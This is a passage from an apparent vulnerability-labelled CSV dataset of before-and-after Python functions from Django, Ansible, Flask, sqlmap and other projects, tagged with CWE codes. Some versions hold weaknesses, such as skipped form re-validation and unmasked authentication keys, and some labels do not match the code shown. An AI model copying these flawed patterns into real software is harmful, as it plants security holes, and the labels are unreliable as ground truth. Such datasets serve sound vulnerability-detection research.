        pkg_root = pjoin(*pkg.split('.'))
        for d in data:
            path = pjoin(pkg_root, d)
            if '*' in path:
                assert len(glob(path)) > 0, ""No files match pattern %s"" % path
            else:
                assert os.path.exists(path), ""Missing package data: %s"" % path

    return package_data"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/formtools/wizard.py,0,"def __call__(self, request, *args, **kwargs):
        """"""
        Main method that does all the hard work, conforming to the Django view
        interface.
        """"""
        if 'extra_context' in kwargs:
            self.extra_context.update(kwargs['extra_context'])
        current_step = self.determine_step(request, *args, **kwargs)
        self.parse_params(request, *args, **kwargs)

        # Sanity check.
        if current_step >= self.num_steps():
            raise Http404('Step %s does not exist' % current_step)

        # Process the current step. If it's valid, go to the next step or call
        # done(), depending on whether any steps remain.
        if request.method == 'POST':
            form = self.get_form(current_step, request.POST)
        else:
            form = self.get_form(current_step)

        if form.is_valid():
            # Validate all the forms. If any of them fail validation, that
            # must mean the validator relied on some other input, such as
            # an external Web site.

            # It is also possible that validation might fail under certain
            # attack situations: an attacker might be able to bypass previous
            # stages, and generate correct security hashes for all the
            # skipped stages by virtue of:
            #  1) having filled out an identical form which doesn't have the
            #     validation (and does something different at the end),
            #  2) or having filled out a previous version of the same form
            #     which had some validation missing,
            #  3) or previously having filled out the form when they had
            #     more privileges than they do now.
            #
            # Since the hashes only take into account values, and not other
            # other validation the form might do, we must re-do validation
            # now for security reasons.
            current_form_list = [self.get_form(i, request.POST) for i in range(current_step)]

            for i, f in enumerate(current_form_list):
                if not self._check_security_hash(request.POST.get(""hash_%d"" % i, ''), request, f):
                    return self.render_hash_failure(request, i)

                if not f.is_valid():
                    return self.render_revalidation_failure(request, i, f)
                else:
                    self.process_step(request, f, i)

            # Now progress to processing this step:
            self.process_step(request, form, current_step)
            next_step = current_step + 1

            if current_step == self.num_steps():
                return self.done(request, final_form_list)
            else:
                form = self.get_form(next_step)
                self.step = current_step = next_step

        return self.render(form, request, current_step)",CWE-Unknown,django/django,46c17654ed60ee43920406d61eae06a90d15af4d,"def __call__(self, request, *args, **kwargs):
        """"""
        Main method that does all the hard work, conforming to the Django view
        interface.
        """"""
        if 'extra_context' in kwargs:
            self.extra_context.update(kwargs['extra_context'])
        current_step = self.determine_step(request, *args, **kwargs)
        self.parse_params(request, *args, **kwargs)

        # Sanity check.
        if current_step >= self.num_steps():
            raise Http404('Step %s does not exist' % current_step)

        # For each previous step, verify the hash and process.
        # TODO: Move ""hash_%d"" to a method to make it configurable.
        for i in range(current_step):
            form = self.get_form(i, request.POST)
            if not self._check_security_hash(request.POST.get(""hash_%d"" % i, ''), request, form):
                return self.render_hash_failure(request, i)
            self.process_step(request, form, i)

        # Process the current step. If it's valid, go to the next step or call
        # done(), depending on whether any steps remain.
        if request.method == 'POST':
            form = self.get_form(current_step, request.POST)
        else:
            form = self.get_form(current_step)
        if form.is_valid():
            self.process_step(request, form, current_step)
            next_step = current_step + 1

            # If this was the last step, validate all of the forms one more
            # time, as a sanity check, and call done().
            num = self.num_steps()
            if next_step == num:
                final_form_list = [self.get_form(i, request.POST) for i in range(num)]

                # Validate all the forms. If any of them fail validation, that
                # must mean the validator relied on some other input, such as
                # an external Web site.

                # It is also possible that validation might fail under certain
                # attack situations: an attacker might be able to bypass previous
                # stages, and generate correct security hashes for all the
                # skipped stages by virtue of:
                #  1) having filled out an identical form which doesn't have the
                #     validation (and does something different at the end),
                #  2) or having filled out a previous version of the same form
                #     which had some validation missing,
                #  3) or previously having filled out the form when they had
                #     more privileges than they do now.
                #
                # Since the hashes only take into account values, and not other
                # other validation the form might do, we must re-do validation
                # now for security reasons.
                for i, f in enumerate(final_form_list):
                    if not f.is_valid():
                        return self.render_revalidation_failure(request, i, f)
                return self.done(request, final_form_list)

            # Otherwise, move along to the next step.
            else:
                form = self.get_form(next_step)
                self.step = current_step = next_step

        return self.render(form, request, current_step)"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/testsuite/testing.py,0,"def test_test_client_calls_teardown_handlers(self):
        app = flask.Flask(__name__)
        called = []
        @app.teardown_request
        def remember(error):
            called.append(error)

        with app.test_client() as c:
            self.assert_equal(called, [])
            c.get('/')
            self.assert_equal(called, [])
        self.assert_equal(called, [None])

        del called[:]
        with app.test_client() as c:
            self.assert_equal(called, [])
            c.get('/')
            self.assert_equal(called, [])
            c.get('/')
            self.assert_equal(called, [None])
        self.assert_equal(called, [None, None])",,pallets/flask,e7c587789ae22a626196cea26340253dd9b70bf1,"def test_test_client_calls_teardown_handlers(self):
        app = flask.Flask(__name__)
        called = []
        @app.teardown_request
        def remember(error):
            called.append(error)

        with app.test_client() as c:
            self.assert_equal(called, [])
            c.get('/')
            self.assert_equal(called, [])
        self.assert_equal(called, [None])

        del called[:]
        with app.test_client() as c:
            self.assert_equal(called, [])
            c.get('/')
            self.assert_equal(called, [])
            c.get('/')
            self.assert_equal(called, [None])
        self.assert_equal(called, [None, None])"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/httpapi/__init__.py,0,"def logout(self):
        """""" Call to implement session logout.

        Method to clear session gracefully e.g. tokens granted in login
        need to be revoked.
        """"""
        pass",,ansible/ansible,ab40c72a3c5d10c98ffbd886dfb8a3f005366fa1,"def logout(self):
        """""" Call to implement session logout.

        Method to clear session gracefully e.g. tokens granted in login
        need to be revoked.
        """"""
        pass"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/www/api/experimental/endpoints.py,0,"def latest_dag_runs():
    """"""Returns the latest running DagRun for each DAG formatted for the UI. """"""
    from airflow.models import DagRun
    dagruns = DagRun.get_latest_runs()
    payload = []
    for dagrun in dagruns:
        if dagrun.execution_date:
            payload.append({
                'dag_id': dagrun.dag_id,
                'execution_date': dagrun.execution_date.strftime(""%Y-%m-%d %H:%M""),
                'start_date': ((dagrun.start_date or '') and
                               dagrun.start_date.strftime(""%Y-%m-%d %H:%M"")),
                'dag_run_url': url_for('airflow.graph', dag_id=dagrun.dag_id,
                                       execution_date=dagrun.execution_date)
            })
    return jsonify(items=payload)",CWE-Unknown,apache/airflow,f516c9ee5325a4b9f8501ef0d69fac38e7d1edbe,"def latest_dag_runs():
    """"""Returns the latest running DagRun for each DAG formatted for the UI. """"""
    from airflow.models import DagRun
    dagruns = DagRun.get_latest_runs()
    payload = []
    for dagrun in dagruns:
        if dagrun.execution_date:
            payload.append({
                'dag_id': dagrun.dag_id,
                'execution_date': dagrun.execution_date.strftime(""%Y-%m-%d %H:%M""),
                'start_date': ((dagrun.start_date or '') and
                               dagrun.start_date.strftime(""%Y-%m-%d %H:%M"")),
                'dag_run_url': url_for('airflow.graph', dag_id=dagrun.dag_id,
                                       execution_date=dagrun.execution_date)
            })
    return jsonify(payload)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/db2/fingerprint.py,0,"def getFingerprint(self):
        value = """"
        wsOsFp = Format.getOs(""web server"", kb.headersFp)

        if wsOsFp:
            value += ""%s\n"" % wsOsFp

        if kb.data.banner:
            dbmsOsFp = Format.getOs(""back-end DBMS"", kb.bannerFp)

            if dbmsOsFp:
                value += ""%s\n"" % dbmsOsFp

        value += ""back-end DBMS: ""

        if not conf.extensiveFp:
            value += DBMS.DB2
            return value

        actVer = Format.getDbms()
        blank = "" "" * 15
        value += ""active fingerprint: %s"" % actVer

        if kb.bannerFp:
            banVer = kb.bannerFp.get(""dbmsVersion"")

            if banVer:
                banVer = Format.getDbms([banVer])
                value += ""\n%sbanner parsing fingerprint: %s"" % (blank, banVer)

        htmlErrorFp = Format.getErrorParsedDBMSes()

        if htmlErrorFp:
            value += ""\n%shtml error message fingerprint: %s"" % (blank, htmlErrorFp)

        return value",,sqlmapproject/sqlmap,3b7dd2c357ba92b3ac6e61254a2742b38f8ba078,"def getFingerprint(self):
        value = """"
        wsOsFp = Format.getOs(""web server"", kb.headersFp)

        if wsOsFp:
            value += ""%s\n"" % wsOsFp

        if kb.data.banner:
            dbmsOsFp = Format.getOs(""back-end DBMS"", kb.bannerFp)

            if dbmsOsFp:
                value += ""%s\n"" % dbmsOsFp

        value += ""back-end DBMS: ""

        if not conf.extensiveFp:
            value += DBMS.DB2
            return value

        actVer = Format.getDbms()
        blank = "" "" * 15
        value += ""active fingerprint: %s"" % actVer

        if kb.bannerFp:
            banVer = kb.bannerFp.get(""dbmsVersion"")
            banVer = Format.getDbms([banVer])
            value += ""\n%sbanner parsing fingerprint: %s"" % (blank, banVer)

        htmlErrorFp = Format.getErrorParsedDBMSes()

        if htmlErrorFp:
            value += ""\n%shtml error message fingerprint: %s"" % (blank, htmlErrorFp)

        return value"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/mac/list_files.py,0,"def calculate(self):
        common.set_plugin_members(self)

        mounts = mac_mount.mac_mount(self._config).calculate()

        seen  = {}
        paths = {}

        for mount in mounts:
            vnode = mount.mnt_vnodelist.tqh_first

            while vnode:
                if vnode.v() in seen:
                    break
 
                seen[vnode.v()] = 1

                # check if parent has been seen before
                parent_key = vnode.v_parent.v()

                # if not then calc full path and store in cache
                if not parent_key in paths:    
                    paths[parent_key] = vnode.v_parent.full_path()

                if paths[parent_key] == ""/"":
                    sep = """"
                else:
                    sep = ""/""

                # figure out our full path and store it
                path = paths[parent_key] + sep + str(vnode.v_name.dereference())
                paths[vnode.v()] = path
                
                yield vnode, path

                vnode = vnode.v_mntvnodes.tqe_next",,volatilityfoundation/volatility,00c21574eb8a255d42bde54751c7fc34b0e90d98,"def calculate(self):
        common.set_plugin_members(self)

        mounts = mac_mount.mac_mount(self._config).calculate()

        seen  = {}
        paths = {}

        for mount in mounts:
            vnode = mount.mnt_vnodelist.tqh_first

            while vnode:
                if vnode.v() in seen:
                    break
 
                seen[vnode.v()] = 1

                # check if parent has been seen before
                parent_key = vnode.v_parent.v()

                # if not then calc full path and store in cache
                if not parent_key in paths:    
                    paths[parent_key] = vnode.v_parent.full_path()

                # figure out our full path and store it
                path = paths[parent_key] + str(vnode.v_name.dereference())
                paths[vnode.v()] = path
                
                yield vnode, path

                vnode = vnode.v_mntvnodes.tqe_next"
,UNKNOWN,UNKNOWN,django/db/backends/sqlite3/introspection.py,1,"def get_constraints(self, cursor, table_name):
        """"""
        Retrieve any constraints or keys (unique, pk, fk, check, index) across
        one or more columns.
        """"""
        constraints = {}
        # Find inline check constraints.
        try:
            table_schema = cursor.execute(
                ""SELECT sql FROM sqlite_master WHERE type='table' and name=%s"" % (
                    self.connection.ops.quote_name(table_name),
                )
            ).fetchone()[0]
        except TypeError:
            # table_name is a view.
            pass
        else:
            columns = {info.name for info in self.get_table_description(cursor, table_name)}
            constraints.update(self._parse_table_constraints(table_schema, columns))

        # Get the index info
        cursor.execute(""PRAGMA index_list(%s)"" % self.connection.ops.quote_name(table_name))
        for row in cursor.fetchall():
            # SQLite 3.8.9+ has 5 columns, however older versions only give 3
            # columns. Discard last 2 columns if there.
            number, index, unique = row[:3]
            cursor.execute(
                ""SELECT sql FROM sqlite_master ""
                ""WHERE type='index' AND name=%s"" % self.connection.ops.quote_name(index)
            )
            # There's at most one row.
            sql, = cursor.fetchone() or (None,)
            # Inline constraints are already detected in
            # _parse_table_constraints(). The reasons to avoid fetching inline
            # constraints from `PRAGMA index_list` are:
            # - Inline constraints can have a different name and information
            #   than what `PRAGMA index_list` gives.
            # - Not all inline constraints may appear in `PRAGMA index_list`.
            if not sql:
                # An inline constraint
                continue
            # Get the index info for that index
            cursor.execute('PRAGMA index_info(%s)' % self.connection.ops.quote_name(index))
            for index_rank, column_rank, column in cursor.fetchall():
                if index not in constraints:
                    constraints[index] = {
                        ""columns"": [],
                        ""primary_key"": False,
                        ""unique"": bool(unique),
                        ""foreign_key"": None,
                        ""check"": False,
                        ""index"": True,
                    }
                constraints[index]['columns'].append(column)
            # Add type and column orders for indexes
            if constraints[index]['index']:
                # SQLite doesn't support any index type other than b-tree
                constraints[index]['type'] = Index.suffix
                orders = self._get_index_columns_orders(sql)
                if orders is not None:
                    constraints[index]['orders'] = orders
        # Get the PK
        pk_column = self.get_primary_key_column(cursor, table_name)
        if pk_column:
            # SQLite doesn't actually give a name to the PK constraint,
            # so we invent one. This is fine, as the SQLite backend never
            # deletes PK constraints by name, as you can't delete constraints
            # in SQLite; we remake the table with a new PK instead.
            constraints[""__primary__""] = {
                ""columns"": [pk_column],
                ""primary_key"": True,
                ""unique"": False,  # It's not actually a unique constraint.
                ""foreign_key"": None,
                ""check"": False,
                ""index"": False,
            }
        constraints.update(self._get_foreign_key_constraints(cursor, table_name))
        return constraints",CWE-89,django/django,69a585eb878901eedb8809e4fada42e4d7b01b04,"def get_constraints(self, cursor, table_name):
        """"""
        Retrieve any constraints or keys (unique, pk, fk, check, index) across
        one or more columns.
        """"""
        constraints = {}
        # Find inline check constraints.
        try:
            table_schema = cursor.execute(
                ""SELECT sql FROM sqlite_master WHERE type='table' and name=%s"" % (
                    self.connection.ops.quote_name(table_name),
                )
            ).fetchone()[0]
        except TypeError:
            # table_name is a view.
            pass
        else:
            columns = {info.name for info in self.get_table_description(cursor, table_name)}
            constraints.update(self._parse_table_constraints(table_schema, columns))

        # Get the index info
        cursor.execute(""PRAGMA index_list(%s)"" % self.connection.ops.quote_name(table_name))
        for row in cursor.fetchall():
            # SQLite 3.8.9+ has 5 columns, however older versions only give 3
            # columns. Discard last 2 columns if there.
            number, index, unique = row[:3]
            cursor.execute(
                ""SELECT sql FROM sqlite_master ""
                ""WHERE type='index' AND name=%s"" % self.connection.ops.quote_name(index)
            )
            # There's at most one row.
            sql, = cursor.fetchone() or (None,)
            # Inline constraints are already detected in
            # _parse_table_constraints(). The reasons to avoid fetching inline
            # constraints from `PRAGMA index_list` are:
            # - Inline constraints can have a different name and information
            #   than what `PRAGMA index_list` gives.
            # - Not all inline constraints may appear in `PRAGMA index_list`.
            if not sql:
                # An inline constraint
                continue
            # Get the index info for that index
            cursor.execute('PRAGMA index_info(%s)' % self.connection.ops.quote_name(index))
            for index_rank, column_rank, column in cursor.fetchall():
                if index not in constraints:
                    constraints[index] = {
                        ""columns"": [],
                        ""primary_key"": False,
                        ""unique"": bool(unique),
                        ""foreign_key"": None,
                        ""check"": False,
                        ""index"": True,
                    }
                constraints[index]['columns'].append(column)
            # Add type and column orders for indexes
            if constraints[index]['index'] and not constraints[index]['unique']:
                # SQLite doesn't support any index type other than b-tree
                constraints[index]['type'] = Index.suffix
                orders = self._get_index_columns_orders(sql)
                if orders is not None:
                    constraints[index]['orders'] = orders
        # Get the PK
        pk_column = self.get_primary_key_column(cursor, table_name)
        if pk_column:
            # SQLite doesn't actually give a name to the PK constraint,
            # so we invent one. This is fine, as the SQLite backend never
            # deletes PK constraints by name, as you can't delete constraints
            # in SQLite; we remake the table with a new PK instead.
            constraints[""__primary__""] = {
                ""columns"": [pk_column],
                ""primary_key"": True,
                ""unique"": False,  # It's not actually a unique constraint.
                ""foreign_key"": None,
                ""check"": False,
                ""index"": False,
            }
        constraints.update(self._get_foreign_key_constraints(cursor, table_name))
        return constraints"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/fortios/fortios_router_ospf.py,0,"def main():
    fields = {
        ""host"": {""required"": True, ""type"": ""str""},
        ""username"": {""required"": True, ""type"": ""str""},
        ""password"": {""required"": False, ""type"": ""str"", ""no_log"": True},
        ""vdom"": {""required"": False, ""type"": ""str"", ""default"": ""root""},
        ""https"": {""required"": False, ""type"": ""bool"", ""default"": True},
        ""router_ospf"": {
            ""required"": False, ""type"": ""dict"",
            ""options"": {
                ""abr-type"": {""required"": False, ""type"": ""str"",
                             ""choices"": [""cisco"", ""ibm"", ""shortcut"",
                                         ""standard""]},
                ""area"": {""required"": False, ""type"": ""list"",
                         ""options"": {
                             ""authentication"": {""required"": False, ""type"": ""str"",
                                                ""choices"": [""none"", ""text"", ""md5""]},
                             ""default-cost"": {""required"": False, ""type"": ""int""},
                             ""filter-list"": {""required"": False, ""type"": ""list"",
                                             ""options"": {
                                                 ""direction"": {""required"": False, ""type"": ""str"",
                                                               ""choices"": [""in"", ""out""]},
                                                 ""id"": {""required"": True, ""type"": ""int""},
                                                 ""list"": {""required"": False, ""type"": ""str""}
                                             }},
                             ""id"": {""required"": True, ""type"": ""str""},
                             ""nssa-default-information-originate"": {""required"": False, ""type"": ""str"",
                                                                    ""choices"": [""enable"", ""always"", ""disable""]},
                             ""nssa-default-information-originate-metric"": {""required"": False, ""type"": ""int""},
                             ""nssa-default-information-originate-metric-type"": {""required"": False, ""type"": ""str"",
                                                                                ""choices"": [""1"", ""2""]},
                             ""nssa-redistribution"": {""required"": False, ""type"": ""str"",
                                                     ""choices"": [""enable"", ""disable""]},
                             ""nssa-translator-role"": {""required"": False, ""type"": ""str"",
                                                      ""choices"": [""candidate"", ""never"", ""always""]},
                             ""range"": {""required"": False, ""type"": ""list"",
                                       ""options"": {
                                           ""advertise"": {""required"": False, ""type"": ""str"",
                                                         ""choices"": [""disable"", ""enable""]},
                                           ""id"": {""required"": True, ""type"": ""int""},
                                           ""prefix"": {""required"": False, ""type"": ""str""},
                                           ""substitute"": {""required"": False, ""type"": ""str""},
                                           ""substitute-status"": {""required"": False, ""type"": ""str"",
                                                                 ""choices"": [""enable"", ""disable""]}
                                       }},
                             ""shortcut"": {""required"": False, ""type"": ""str"",
                                          ""choices"": [""disable"", ""enable"", ""default""]},
                             ""stub-type"": {""required"": False, ""type"": ""str"",
                                           ""choices"": [""no-summary"", ""summary""]},
                             ""type"": {""required"": False, ""type"": ""str"",
                                      ""choices"": [""regular"", ""nssa"", ""stub""]},
                             ""virtual-link"": {""required"": False, ""type"": ""list"",
                                              ""options"": {
                                                  ""authentication"": {""required"": False, ""type"": ""str"",
                                                                     ""choices"": [""none"", ""text"", ""md5""]},
                                                  ""authentication-key"": {""required"": False, ""type"": ""str"", ""no_log"": True},
                                                  ""dead-interval"": {""required"": False, ""type"": ""int""},
                                                  ""hello-interval"": {""required"": False, ""type"": ""int""},
                                                  ""md5-key"": {""required"": False, ""type"": ""str""},
                                                  ""name"": {""required"": True, ""type"": ""str""},
                                                  ""peer"": {""required"": False, ""type"": ""str""},
                                                  ""retransmit-interval"": {""required"": False, ""type"": ""int""},
                                                  ""transmit-delay"": {""required"": False, ""type"": ""int""}
                                              }}
                         }},
                ""auto-cost-ref-bandwidth"": {""required"": False, ""type"": ""int""},
                ""bfd"": {""required"": False, ""type"": ""str"",
                        ""choices"": [""enable"", ""disable""]},
                ""database-overflow"": {""required"": False, ""type"": ""str"",
                                      ""choices"": [""enable"", ""disable""]},
                ""database-overflow-max-lsas"": {""required"": False, ""type"": ""int""},
                ""database-overflow-time-to-recover"": {""required"": False, ""type"": ""int""},
                ""default-information-metric"": {""required"": False, ""type"": ""int""},
                ""default-information-metric-type"": {""required"": False, ""type"": ""str"",
                                                    ""choices"": [""1"", ""2""]},
                ""default-information-originate"": {""required"": False, ""type"": ""str"",
                                                  ""choices"": [""enable"", ""always"", ""disable""]},
                ""default-information-route-map"": {""required"": False, ""type"": ""str""},
                ""default-metric"": {""required"": False, ""type"": ""int""},
                ""distance"": {""required"": False, ""type"": ""int""},
                ""distance-external"": {""required"": False, ""type"": ""int""},
                ""distance-inter-area"": {""required"": False, ""type"": ""int""},
                ""distance-intra-area"": {""required"": False, ""type"": ""int""},
                ""distribute-list"": {""required"": False, ""type"": ""list"",
                                    ""options"": {
                                        ""access-list"": {""required"": False, ""type"": ""str""},
                                        ""id"": {""required"": True, ""type"": ""int""},
                                        ""protocol"": {""required"": False, ""type"": ""str"",
                                                     ""choices"": [""connected"", ""static"", ""rip""]}
                                    }},
                ""distribute-list-in"": {""required"": False, ""type"": ""str""},
                ""distribute-route-map-in"": {""required"": False, ""type"": ""str""},
                ""log-neighbour-changes"": {""required"": False, ""type"": ""str"",
                                          ""choices"": [""enable"", ""disable""]},
                ""neighbor"": {""required"": False, ""type"": ""list"",
                             ""options"": {
                                 ""cost"": {""required"": False, ""type"": ""int""},
                                 ""id"": {""required"": True, ""type"": ""int""},
                                 ""ip"": {""required"": False, ""type"": ""str""},
                                 ""poll-interval"": {""required"": False, ""type"": ""int""},
                                 ""priority"": {""required"": False, ""type"": ""int""}
                             }},
                ""network"": {""required"": False, ""type"": ""list"",
                            ""options"": {
                                ""area"": {""required"": False, ""type"": ""str""},
                                ""id"": {""required"": True, ""type"": ""int""},
                                ""prefix"": {""required"": False, ""type"": ""str""}
                            }},
                ""ospf-interface"": {""required"": False, ""type"": ""list"",
                                   ""options"": {
                                       ""authentication"": {""required"": False, ""type"": ""str"",
                                                          ""choices"": [""none"", ""text"", ""md5""]},
                                       ""authentication-key"": {""required"": False, ""type"": ""str"", ""no_log"": True},
                                       ""bfd"": {""required"": False, ""type"": ""str"",
                                               ""choices"": [""global"", ""enable"", ""disable""]},
                                       ""cost"": {""required"": False, ""type"": ""int""},
                                       ""database-filter-out"": {""required"": False, ""type"": ""str"",
                                                               ""choices"": [""enable"", ""disable""]},
                                       ""dead-interval"": {""required"": False, ""type"": ""int""},
                                       ""hello-interval"": {""required"": False, ""type"": ""int""},
                                       ""hello-multiplier"": {""required"": False, ""type"": ""int""},
                                       ""interface"": {""required"": False, ""type"": ""str""},
                                       ""ip"": {""required"": False, ""type"": ""str""},
                                       ""md5-key"": {""required"": False, ""type"": ""str"", ""no_log"": True},
                                       ""mtu"": {""required"": False, ""type"": ""int""},
                                       ""mtu-ignore"": {""required"": False, ""type"": ""str"",
                                                      ""choices"": [""enable"", ""disable""]},
                                       ""name"": {""required"": True, ""type"": ""str""},
                                       ""network-type"": {""required"": False, ""type"": ""str"",
                                                        ""choices"": [""broadcast"", ""non-broadcast"", ""point-to-point"",
                                                                    ""point-to-multipoint"", ""point-to-multipoint-non-broadcast""]},
                                       ""prefix-length"": {""required"": False, ""type"": ""int""},
                                       ""priority"": {""required"": False, ""type"": ""int""},
                                       ""resync-timeout"": {""required"": False, ""type"": ""int""},
                                       ""retransmit-interval"": {""required"": False, ""type"": ""int""},
                                       ""status"": {""required"": False, ""type"": ""str"",
                                                  ""choices"": [""disable"", ""enable""]},
                                       ""transmit-delay"": {""required"": False, ""type"": ""int""}
                                   }},
                ""passive-interface"": {""required"": False, ""type"": ""list"",
                                      ""options"": {
                                          ""name"": {""required"": True, ""type"": ""str""}
                                      }},
                ""redistribute"": {""required"": False, ""type"": ""list"",
                                 ""options"": {
                                     ""metric"": {""required"": False, ""type"": ""int""},
                                     ""metric-type"": {""required"": False, ""type"": ""str"",
                                                     ""choices"": [""1"", ""2""]},
                                     ""name"": {""required"": True, ""type"": ""str""},
                                     ""routemap"": {""required"": False, ""type"": ""str""},
                                     ""status"": {""required"": False, ""type"": ""str"",
                                                ""choices"": [""enable"", ""disable""]},
                                     ""tag"": {""required"": False, ""type"": ""int""}
                                 }},
                ""restart-mode"": {""required"": False, ""type"": ""str"",
                                 ""choices"": [""none"", ""lls"", ""graceful-restart""]},
                ""restart-period"": {""required"": False, ""type"": ""int""},
                ""rfc1583-compatible"": {""required"": False, ""type"": ""str"",
                                       ""choices"": [""enable"", ""disable""]},
                ""router-id"": {""required"": False, ""type"": ""str""},
                ""spf-timers"": {""required"": False, ""type"": ""str""},
                ""summary-address"": {""required"": False, ""type"": ""list"",
                                    ""options"": {
                                        ""advertise"": {""required"": False, ""type"": ""str"",
                                                      ""choices"": [""disable"", ""enable""]},
                                        ""id"": {""required"": True, ""type"": ""int""},
                                        ""prefix"": {""required"": False, ""type"": ""str""},
                                        ""tag"": {""required"": False, ""type"": ""int""}
                                    }}

            }
        }
    }

    module = AnsibleModule(argument_spec=fields,
                           supports_check_mode=False)
    try:
        from fortiosapi import FortiOSAPI
    except ImportError:
        module.fail_json(msg=""fortiosapi module is required"")

    global fos
    fos = FortiOSAPI()

    is_error, has_changed, result = fortios_router(module.params, fos)

    if not is_error:
        module.exit_json(changed=has_changed, meta=result)
    else:
        module.fail_json(msg=""Error in repo"", meta=result)",,ansible/ansible,6ac19b7757670029b895b62c4458e8ad2bc965b3,"def main():
    fields = {
        ""host"": {""required"": True, ""type"": ""str""},
        ""username"": {""required"": True, ""type"": ""str""},
        ""password"": {""required"": False, ""type"": ""str"", ""no_log"": True},
        ""vdom"": {""required"": False, ""type"": ""str"", ""default"": ""root""},
        ""https"": {""required"": False, ""type"": ""bool"", ""default"": True},
        ""router_ospf"": {
            ""required"": False, ""type"": ""dict"",
            ""options"": {
                ""abr-type"": {""required"": False, ""type"": ""str"",
                             ""choices"": [""cisco"", ""ibm"", ""shortcut"",
                                         ""standard""]},
                ""area"": {""required"": False, ""type"": ""list"",
                         ""options"": {
                             ""authentication"": {""required"": False, ""type"": ""str"",
                                                ""choices"": [""none"", ""text"", ""md5""]},
                             ""default-cost"": {""required"": False, ""type"": ""int""},
                             ""filter-list"": {""required"": False, ""type"": ""list"",
                                             ""options"": {
                                                 ""direction"": {""required"": False, ""type"": ""str"",
                                                               ""choices"": [""in"", ""out""]},
                                                 ""id"": {""required"": True, ""type"": ""int""},
                                                 ""list"": {""required"": False, ""type"": ""str""}
                                             }},
                             ""id"": {""required"": True, ""type"": ""str""},
                             ""nssa-default-information-originate"": {""required"": False, ""type"": ""str"",
                                                                    ""choices"": [""enable"", ""always"", ""disable""]},
                             ""nssa-default-information-originate-metric"": {""required"": False, ""type"": ""int""},
                             ""nssa-default-information-originate-metric-type"": {""required"": False, ""type"": ""str"",
                                                                                ""choices"": [""1"", ""2""]},
                             ""nssa-redistribution"": {""required"": False, ""type"": ""str"",
                                                     ""choices"": [""enable"", ""disable""]},
                             ""nssa-translator-role"": {""required"": False, ""type"": ""str"",
                                                      ""choices"": [""candidate"", ""never"", ""always""]},
                             ""range"": {""required"": False, ""type"": ""list"",
                                       ""options"": {
                                           ""advertise"": {""required"": False, ""type"": ""str"",
                                                         ""choices"": [""disable"", ""enable""]},
                                           ""id"": {""required"": True, ""type"": ""int""},
                                           ""prefix"": {""required"": False, ""type"": ""str""},
                                           ""substitute"": {""required"": False, ""type"": ""str""},
                                           ""substitute-status"": {""required"": False, ""type"": ""str"",
                                                                 ""choices"": [""enable"", ""disable""]}
                                       }},
                             ""shortcut"": {""required"": False, ""type"": ""str"",
                                          ""choices"": [""disable"", ""enable"", ""default""]},
                             ""stub-type"": {""required"": False, ""type"": ""str"",
                                           ""choices"": [""no-summary"", ""summary""]},
                             ""type"": {""required"": False, ""type"": ""str"",
                                      ""choices"": [""regular"", ""nssa"", ""stub""]},
                             ""virtual-link"": {""required"": False, ""type"": ""list"",
                                              ""options"": {
                                                  ""authentication"": {""required"": False, ""type"": ""str"",
                                                                     ""choices"": [""none"", ""text"", ""md5""]},
                                                  ""authentication-key"": {""required"": False, ""type"": ""str""},
                                                  ""dead-interval"": {""required"": False, ""type"": ""int""},
                                                  ""hello-interval"": {""required"": False, ""type"": ""int""},
                                                  ""md5-key"": {""required"": False, ""type"": ""str""},
                                                  ""name"": {""required"": True, ""type"": ""str""},
                                                  ""peer"": {""required"": False, ""type"": ""str""},
                                                  ""retransmit-interval"": {""required"": False, ""type"": ""int""},
                                                  ""transmit-delay"": {""required"": False, ""type"": ""int""}
                                              }}
                         }},
                ""auto-cost-ref-bandwidth"": {""required"": False, ""type"": ""int""},
                ""bfd"": {""required"": False, ""type"": ""str"",
                        ""choices"": [""enable"", ""disable""]},
                ""database-overflow"": {""required"": False, ""type"": ""str"",
                                      ""choices"": [""enable"", ""disable""]},
                ""database-overflow-max-lsas"": {""required"": False, ""type"": ""int""},
                ""database-overflow-time-to-recover"": {""required"": False, ""type"": ""int""},
                ""default-information-metric"": {""required"": False, ""type"": ""int""},
                ""default-information-metric-type"": {""required"": False, ""type"": ""str"",
                                                    ""choices"": [""1"", ""2""]},
                ""default-information-originate"": {""required"": False, ""type"": ""str"",
                                                  ""choices"": [""enable"", ""always"", ""disable""]},
                ""default-information-route-map"": {""required"": False, ""type"": ""str""},
                ""default-metric"": {""required"": False, ""type"": ""int""},
                ""distance"": {""required"": False, ""type"": ""int""},
                ""distance-external"": {""required"": False, ""type"": ""int""},
                ""distance-inter-area"": {""required"": False, ""type"": ""int""},
                ""distance-intra-area"": {""required"": False, ""type"": ""int""},
                ""distribute-list"": {""required"": False, ""type"": ""list"",
                                    ""options"": {
                                        ""access-list"": {""required"": False, ""type"": ""str""},
                                        ""id"": {""required"": True, ""type"": ""int""},
                                        ""protocol"": {""required"": False, ""type"": ""str"",
                                                     ""choices"": [""connected"", ""static"", ""rip""]}
                                    }},
                ""distribute-list-in"": {""required"": False, ""type"": ""str""},
                ""distribute-route-map-in"": {""required"": False, ""type"": ""str""},
                ""log-neighbour-changes"": {""required"": False, ""type"": ""str"",
                                          ""choices"": [""enable"", ""disable""]},
                ""neighbor"": {""required"": False, ""type"": ""list"",
                             ""options"": {
                                 ""cost"": {""required"": False, ""type"": ""int""},
                                 ""id"": {""required"": True, ""type"": ""int""},
                                 ""ip"": {""required"": False, ""type"": ""str""},
                                 ""poll-interval"": {""required"": False, ""type"": ""int""},
                                 ""priority"": {""required"": False, ""type"": ""int""}
                             }},
                ""network"": {""required"": False, ""type"": ""list"",
                            ""options"": {
                                ""area"": {""required"": False, ""type"": ""str""},
                                ""id"": {""required"": True, ""type"": ""int""},
                                ""prefix"": {""required"": False, ""type"": ""str""}
                            }},
                ""ospf-interface"": {""required"": False, ""type"": ""list"",
                                   ""options"": {
                                       ""authentication"": {""required"": False, ""type"": ""str"",
                                                          ""choices"": [""none"", ""text"", ""md5""]},
                                       ""authentication-key"": {""required"": False, ""type"": ""str""},
                                       ""bfd"": {""required"": False, ""type"": ""str"",
